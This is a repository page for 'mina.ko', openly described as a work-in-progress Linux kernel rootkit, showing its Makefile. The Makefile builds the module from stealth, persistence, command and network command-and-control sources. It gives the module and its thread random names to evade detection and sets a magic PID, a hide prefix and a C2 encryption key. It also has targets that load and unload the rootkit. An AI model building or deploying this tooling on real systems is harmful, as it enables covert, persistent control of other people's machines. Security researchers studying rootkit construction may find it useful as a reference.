mina.ko~ (wip)LKM rootkit for 6.1+ kernels |
| git clone https://github.com/djnnvx/mina.ko.git |
| log | files | refs | archive | README | LICENSE |
Makefile (1764B)
1 2 .PHONY: all 3 all: compile 4 5 .PHONY: help 6 help: 7 @echo "\033[34mmina.ko targets:\033[0m" 8 @perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}' 9 10 # FIXME(djnn): auto-gen this ? 11 MINA_CLIENT_ID := $(shell head /dev/urandom | tr -dc a-z0-9 | head -c8) 12 13 obj-m := mina_$(MINA_CLIENT_ID).o 14 mina_$(MINA_CLIENT_ID)-objs := sources/mina.o \ 15 sources/taint_reset.o \ 16 sources/stealth.o \ 17 sources/persistence.o \ 18 sources/cmd.o \ 19 sources/net_c2.o 20 21 22 RANDOM_THREAD_NAME := $(shell head /dev/urandom | tr -dc a-z0-9 | head -c8) 23 24 # Configurable values 25 MAGIC_PID ?= 1337 26 HIDE_PREFIX ?= "minamina" 27 C2_ENC_KEY ?= "defaultkey" # Default key, can be overridden 28 29 MY_CFLAGS := -DRESET_THREAD_NAME='"$(RANDOM_THREAD_NAME)"' \ 30 -DMAGIC_PID=$(MAGIC_PID) \ 31 -DHIDE_PREFIX="\"$(HIDE_PREFIX)\"" \ 32 -DC2_ENC_KEY="\"$(C2_ENC_KEY)\"" \ 33 -Wno-missing-prototypes -Wno-missing-declarations -O2 34 35 ccflags-y += $(MY_CFLAGS) 36 CC += ${MY_CFLAGS} 37 38 39 compile: ## compiles the rootkit 40 $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 41 rm -f *.order *.symvers *.mod *.mod.c *.o .mina* .Module* .module* 42 43 clean: ## cleans up build artifacts 44 $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 45 find . -type f -name *.o -delete 46 47 load: ## loads the rootkit on the system 48 @insmod *.ko 49 @dmesg -wH 50 51 unload: ## unloads the rootkit from the system 52 @rmmod *.ko 53 @dmesg -wH 54 55 deps: ## install build dependencies for debian-based systems (run as root) 56 @apt-get install -y \ 57 gcc make build-essential libncurses-dev exuberant-ctags \ 58 build-essential linux-headers-`uname -r` 59 60 .PHONY: clean deps load unload